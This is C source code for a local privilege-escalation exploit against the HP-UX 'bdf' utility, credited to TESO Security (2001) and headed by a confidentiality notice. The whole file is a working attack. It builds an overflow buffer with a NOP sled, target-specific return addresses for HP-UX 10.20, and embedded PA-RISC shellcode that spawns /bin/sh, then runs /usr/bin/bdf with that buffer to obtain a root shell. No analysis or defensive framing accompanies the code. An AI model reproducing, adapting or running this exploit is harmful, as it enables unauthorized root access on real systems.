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/* 7350bdf - hppa/hpux bdf local root exploit
*
* TESO CONFIDENTIAL - SOURCE MATERIALS
*
* This is unpublished proprietary source code of TESO Security.
*
* The contents of these coded instructions, statements and computer
* programs may not be disclosed to third parties, copied or duplicated in
* any form, in whole or in part, without the prior written permission of
* TESO Security. This includes especially the Bugtraq mailing list, the
* www.hack.co.za, PacketStorm Security and SecuriTeam websites and any public
* exploit archive.
*
* (C) COPYRIGHT TESO Security, 2001
* All Rights Reserved
*
*****************************************************************************
* found by scut 2001/08/21, yah yah i know its old
* kudos to caddis for enlightning me about quadrants
*
*/
#define VERSION "0.0.1"
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void usage (char *progname);
typedef struct {
char * desc;
int bsize; /* overall buffer size */
int align;
/* the return address has to
*
* a) lie within the shared library quadrant (within libc)
* b) point to some code snippet that looks like this:
*
* 0xc0108ea8: ldw -18(sr0,sp),rp
* 0xc0108eac: ldsid (sr0,rp),r1
* 0xc0108eb0: mtsp r1,sr0
* 0xc0108eb4: be,n 0(sr0,rp)
*
* this sets the space id accordingly, so we can return into
* the stack
*/
int ret_pos;
unsigned int ret_addr;
/* this is the address our code lies at, and the position where to
* put it
*/
int code_pos;
unsigned int code_addr;
/* at least HP-UX 10.20 needs a sane value at a place, which i
* happened to call r15_val, since it is passed through %r15
*/
int r15_pos;
unsigned int r15_val;
} t_elem;
t_elem targets[] = {
/* tested on: HP-UX calina B.10.20 A 9000/735 -sc */
{ "HP-UX 10.20", 1200, 3, 1196, 0xc0108ea8,
1192, 0x7b03a220, 1040, 0x7b03a4f8 },
{ NULL, 0, 0, 0, 0, 0 },
};
/* LSD shellcode, thanks buddies */
unsigned char nop[] =
"\x0b\x39\x02\x99"; /* xor %r25,%r25,%r25 */
unsigned char shellcode[] =
"\x0b\x5a\x02\x9a" /* xor %r26,%r26,%r26 */
"\x0b\x39\x02\x99" /* xor %r25,%r25,%r25 */
"\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */
"\x20\x20\x08\x01" /* ldil L%0xc0000004,%r1 */
"\xe4\x20\xe0\x08" /* ble R%0xc0000004(%sr7,%r1) */
"\xb4\x16\x70\xfc" /* addi,> 0x7e,%r0,%r22 */
"\xeb\x5f\x1f\xfd" /* bl <shellcode+4>,%r26 */
"\x0b\x39\x02\x99" /* xor %r25,%r25,%r25 */
"\xb7\x5a\x40\x22" /* addi,< 0x11,%r26,%r26 */
"\x0f\x40\x12\x0e" /* stbs %r0,7(%r26) */
"\x20\x20\x08\x01" /* ldil L%0xc0000004,%r1 */
"\xe4\x20\xe0\x08" /* ble R%0xc0000004(%sr7,%r1) */
"\xb4\x16\x70\x16" /* addi,> 0xb,%r0,%r22 */
"/bin/shA";
void
usage (char *progname)
{
fprintf (stderr, "usage: %s [-t <num>]\n\n", progname);
fprintf (stderr, "-t num\tchoose target (0 for list)\n\n");
exit (EXIT_FAILURE);
}
int
main (int argc, char *argv[])
{
char c;
int b_walker;
unsigned int * iptr;
unsigned char buf[2048];
char * n_argv[3];
char * n_env[1];
int tgt_num = -1;
t_elem * tgt;
printf ("7350bdf - hppa/hpux bdf local root exploit\n"
"-scut\n\n");
while ((c = getopt (argc, argv, "t:")) != EOF) {
switch (c) {
case 't':
tgt_num = atoi (optarg);
break;
default:
usage (argv[0]);
break;
}
}
if (tgt_num < 0)
usage (argv[0]);
if (tgt_num == 0) {
printf ("num . description\n");
printf ("----+--------------------------------\n");
for ( ; targets[tgt_num].desc != NULL ; ++tgt_num)
printf ("%3d | %s\n", tgt_num + 1,
targets[tgt_num].desc);
printf (" '\n");
exit (EXIT_SUCCESS);
}
if (tgt_num >= (sizeof (targets) / sizeof (t_elem)))
usage (argv[0]);
tgt = &targets[tgt_num - 1];
printf ("using: %s\n", tgt->desc);
memset (buf, '\0', sizeof (buf));
/* set nops */
if (tgt->align != 0)
memset (buf, 'A', tgt->align);
for (b_walker = tgt->align ; b_walker < (tgt->bsize - tgt->align) ;
b_walker += 4)
{
buf[b_walker] = nop[0];
buf[b_walker + 1] = nop[1];
buf[b_walker + 2] = nop[2];
buf[b_walker + 3] = nop[3];
}
if (tgt->r15_pos != 0) {
iptr = (unsigned int *) &buf[tgt->r15_pos];
*iptr = tgt->r15_val; /* sane %r15 */
}
iptr = (unsigned int *) &buf[tgt->code_pos];
*iptr = tgt->code_addr; /* real retaddr */
iptr = (unsigned int *) &buf[tgt->ret_pos];
*iptr = tgt->ret_addr; /* yay! */
/* we assume the buffer is 1024 bytes long */
memcpy (&buf[1023] - strlen (shellcode), shellcode,
strlen (shellcode));
buf[tgt->bsize] = '\0';
n_argv[0] = "/usr/bin/bdf";
n_argv[1] = buf;
n_env[0] = NULL;
execve (n_argv[0], n_argv, n_env);
exit (EXIT_FAILURE);
}
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